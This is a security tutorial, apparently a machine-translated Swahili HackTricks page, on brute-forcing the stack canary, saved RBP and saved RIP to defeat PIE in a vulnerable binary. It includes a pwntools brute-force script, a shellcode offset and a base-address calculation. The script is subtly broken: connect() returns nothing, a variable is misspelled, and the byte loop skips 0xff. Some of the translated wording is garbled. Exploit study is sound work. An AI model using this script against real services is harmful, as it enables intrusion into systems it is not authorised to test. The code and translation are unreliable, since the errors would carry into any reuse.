BF Addresses in the Stack

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Ikiwa unakabiliana na binary iliyolindwa na canary na PIE (Position Independent Executable) labda unahitaji kupata njia ya kuzipuuza.

Tambua kwamba checksec inaweza isigundue kuwa binary imekingwa na canary ikiwa ilikompiliwa kistatiki na haiwezi kutambua kazi. Hata hivyo, unaweza kugundua hii kwa mikono ikiwa unagundua kwamba thamani imesave kwenye stack mwanzoni mwa wito wa kazi na thamani hii inachunguzwa kabla ya kutoka.

Anwani za Brute-Force

Ili kuzipuuza PIE unahitaji kuvuja anwani fulani. Na ikiwa binary haivuji anwani yoyote bora kufanya ni kuzipuuza RBP na RIP zilizohifadhiwa kwenye stack katika kazi yenye kasoro. Kwa mfano, ikiwa binary inalindwa kwa kutumia canary na PIE, unaweza kuanza kuzipuuza canary, kisha baadaye Byte 8 (x64) itakuwa RBP iliyohifadhiwa na Byte 8 itakuwa RIP iliyohifadhiwa.

Inatarajiwa kwamba anwani ya kurudi ndani ya stack inamilikiwa na msimbo wa binary kuu, ambao, ikiwa kasoro iko katika msimbo wa binary, kawaida itakuwa hivyo.

Kuzipuuza RBP na RIP kutoka kwa binary unaweza kugundua kwamba byte sahihi iliyoguessed ni sahihi ikiwa programu inatoa kitu au tu haivunjiki. Kazi ile ile kama iliyotolewa kwa kuzipuuza canary inaweza kutumika kuzipuuza RBP na RIP:

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

# CANARY BF HERE
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

# PIE BF FROM HERE
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])

Kitu cha mwisho unachohitaji kushinda PIE ni kuhesabu anwani muhimu kutoka kwa anwani zilizovuja: RBP na RIP.

Kutoka kwa RBP unaweza kuhesabu mahali ambapo unaiandika shel yako kwenye steki. Hii inaweza kuwa muhimu sana kujua mahali ambapo utaandika mfuatano wa herufi "/bin/sh\x00" ndani ya steki. Kuhesabu umbali kati ya RBP iliyovuja na shel yako unaweza tu kuweka kituo cha kusitisha baada ya kuvuja RBP na kuangalia mahali ambapo shel yako imehifadhiwa, kisha, unaweza kuhesabu umbali kati ya shel yako na RBP:

INI_SHELLCODE = RBP - 1152

Kutoka kwa RIP unaweza kuhesabu anwani ya msingi ya faili ya PIE ambayo ndio utahitaji kuunda mtandao wa ROP halali. Kuhesabu anwani ya msingi fanya tu objdump -d vunbinary na angalia anwani za hivi karibuni zilizochambuliwa:

Katika mfano huo unaweza kuona kwamba Byte 1 na nusu tu inahitajika kutambua msimbo wote, basi, anwani ya msingi katika hali hii itakuwa RIP iliyovuja lakini ikimalizika kwa "000". Kwa mfano ikiwa ulivuja 0x562002970ecf anwani ya msingi itakuwa 0x562002970000

elf.address = RIP - (RIP & 0xfff)

Maboresho

Kulingana na baadhi ya uchunguzi kutoka kwenye chapisho hili, inawezekana kwamba wakati wa kuvuja thamani za RBP na RIP, server haitaanguka na baadhi ya thamani ambazo sio sahihi na script ya BF itadhani amepata zile sahihi. Hii ni kwa sababu inawezekana kwamba baadhi ya anwani hazitavunja hata kama sio zile sahihi kabisa.

Kulingana na chapisho hilo la blogu, inapendekezwa kuongeza kuchelewesha fupi kati ya maombi kwa server inayoingizwa.

Last updated